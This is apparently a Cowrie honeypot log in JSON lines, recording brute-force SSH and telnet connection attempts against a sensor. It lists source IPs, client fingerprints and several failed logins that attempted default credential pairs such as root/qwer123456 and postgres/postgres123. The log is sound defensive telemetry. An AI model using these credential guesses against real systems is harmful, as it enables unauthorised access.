{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:38.175062Z","src_ip":"103.24.63.85","session":"26c50b0f3e91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:39.379206Z","src_ip":"103.24.63.85","session":"26c50b0f3e91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.328104257583618,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:39.858230Z","src_ip":"192.119.13.58","session":"665e9c82f704","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42960,"dst_ip":"10.17.0.5","dst_port":23,"session":"9984c4d851a0","protocol":"telnet","message":"New connection: 192.119.13.58:42960 (10.17.0.5:23) [session: 9984c4d851a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:40.445302Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":36006,"dst_ip":"159.203.135.109","dst_port":22,"session":"129155045a95","protocol":"ssh","message":"New connection: 103.24.63.85:36006 (159.203.135.109:22) [session: 129155045a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:48.658744Z"}
{"eventid":"cowrie.session.closed","duration":33.24489879608154,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:48.663151Z","src_ip":"192.119.13.58","session":"cf6e0c00d24d","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:48.677263Z","src_ip":"103.24.63.85","session":"129155045a95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:48.878687Z","src_ip":"103.24.63.85","session":"129155045a95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:49.915253Z","src_ip":"103.24.63.85","session":"129155045a95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:51.121911Z","src_ip":"103.24.63.85","session":"129155045a95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48696,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c032b21c1cd","protocol":"telnet","message":"New connection: 192.119.13.58:48696 (10.17.0.5:23) [session: 5c032b21c1cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:51.198358Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50882,"dst_ip":"10.17.0.5","dst_port":23,"session":"37bb9dc6fc60","protocol":"telnet","message":"New connection: 192.119.13.58:50882 (10.17.0.5:23) [session: 37bb9dc6fc60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:51.866485Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":44472,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee184afbe0a7","protocol":"ssh","message":"New connection: 103.77.242.62:44472 (10.17.0.5:22) [session: ee184afbe0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:53.640666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:53.646186Z","src_ip":"103.77.242.62","session":"ee184afbe0a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:53.883332Z","src_ip":"103.77.242.62","session":"ee184afbe0a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stasik","message":"login attempt [root/stasik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:54.592747Z","src_ip":"103.77.242.62","session":"ee184afbe0a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.14911198616028,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:55.446768Z","src_ip":"192.119.13.58","session":"a93eccf94507","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:55.832937Z","src_ip":"103.77.242.62","session":"ee184afbe0a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.160598039627075,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:56.783877Z","src_ip":"192.119.13.58","session":"5b437dd11ad2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.62889766693115,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:25:57.890707Z","src_ip":"192.119.13.58","session":"a5ae37d7f3a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57324,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2f43e14f7f3","protocol":"telnet","message":"New connection: 192.119.13.58:57324 (10.17.0.5:23) [session: d2f43e14f7f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:02.334422Z"}
{"eventid":"cowrie.session.closed","duration":37.31696963310242,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:06.220585Z","src_ip":"192.119.13.58","session":"8444b43ce175","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37092,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dc7ee79750b","protocol":"telnet","message":"New connection: 192.119.13.58:37092 (10.17.0.5:23) [session: 6dc7ee79750b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:13.209409Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38940,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4b362de9315","protocol":"telnet","message":"New connection: 192.119.13.58:38940 (10.17.0.5:23) [session: f4b362de9315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:13.768213Z"}
{"eventid":"cowrie.session.closed","duration":38.285207748413086,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:13.924915Z","src_ip":"192.119.13.58","session":"140700462f20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43384,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d515df6393d","protocol":"telnet","message":"New connection: 192.119.13.58:43384 (10.17.0.5:23) [session: 9d515df6393d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:15.145183Z"}
{"eventid":"cowrie.session.closed","duration":38.16200232505798,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:15.766760Z","src_ip":"192.119.13.58","session":"896a3b4c098d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.45360088348389,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:19.745639Z","src_ip":"192.119.13.58","session":"4abdeeeafb72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36286,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e2a5f081c25","protocol":"telnet","message":"New connection: 192.119.13.58:36286 (10.17.0.5:23) [session: 1e2a5f081c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:28.711819Z"}
{"eventid":"cowrie.session.closed","duration":39.38836932182312,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:30.586638Z","src_ip":"192.119.13.58","session":"5c032b21c1cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.42723298072815,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:30.872406Z","src_ip":"192.119.13.58","session":"9984c4d851a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.12802743911743,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:33.994391Z","src_ip":"192.119.13.58","session":"37bb9dc6fc60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":52193,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e206dfca135","protocol":"ssh","message":"New connection: 103.24.63.85:52193 (159.203.135.109:22) [session: 9e206dfca135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:34.880903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:34.889406Z","src_ip":"103.24.63.85","session":"9e206dfca135","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:35.088788Z","src_ip":"103.24.63.85","session":"9e206dfca135","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":39304,"dst_ip":"159.203.135.109","dst_port":22,"session":"b215e5ae2c24","protocol":"ssh","message":"New connection: 103.27.238.120:39304 (159.203.135.109:22) [session: b215e5ae2c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:35.150306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:35.155494Z","src_ip":"103.27.238.120","session":"b215e5ae2c24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:35.433408Z","src_ip":"103.27.238.120","session":"b215e5ae2c24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"abc123","message":"login attempt [ftpuser/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:35.677174Z","src_ip":"103.24.63.85","session":"9e206dfca135","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678s","message":"login attempt [root/12345678s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:36.265960Z","src_ip":"103.27.238.120","session":"b215e5ae2c24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:36.889671Z","src_ip":"103.24.63.85","session":"9e206dfca135","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:37.546371Z","src_ip":"103.27.238.120","session":"b215e5ae2c24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.470804929733276,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:39.805101Z","src_ip":"192.119.13.58","session":"d2f43e14f7f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":36932,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd068728224e","protocol":"ssh","message":"New connection: 5.181.124.9:36932 (159.203.135.109:22) [session: fd068728224e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:39.861722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:41.381386Z","src_ip":"5.181.124.9","session":"fd068728224e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:41.470771Z","src_ip":"5.181.124.9","session":"fd068728224e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":42284,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2002b03c240","protocol":"ssh","message":"New connection: 62.133.62.83:42284 (10.17.0.5:22) [session: f2002b03c240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:43.459592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:43.464452Z","src_ip":"62.133.62.83","session":"f2002b03c240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:43.544552Z","src_ip":"62.133.62.83","session":"f2002b03c240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"masyanya","message":"login attempt [root/masyanya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:43.787570Z","src_ip":"62.133.62.83","session":"f2002b03c240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer123456","message":"login attempt [root/qwer123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:43.973811Z","src_ip":"5.181.124.9","session":"fd068728224e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:44.873150Z","src_ip":"62.133.62.83","session":"f2002b03c240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:45.073639Z","src_ip":"5.181.124.9","session":"fd068728224e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39988,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb917adfebce","protocol":"telnet","message":"New connection: 192.119.13.58:39988 (10.17.0.5:23) [session: cb917adfebce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:45.270356Z"}
{"eventid":"cowrie.session.closed","duration":34.92301392555237,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:26:50.068049Z","src_ip":"192.119.13.58","session":"9d515df6393d","protocol":"telnet"}
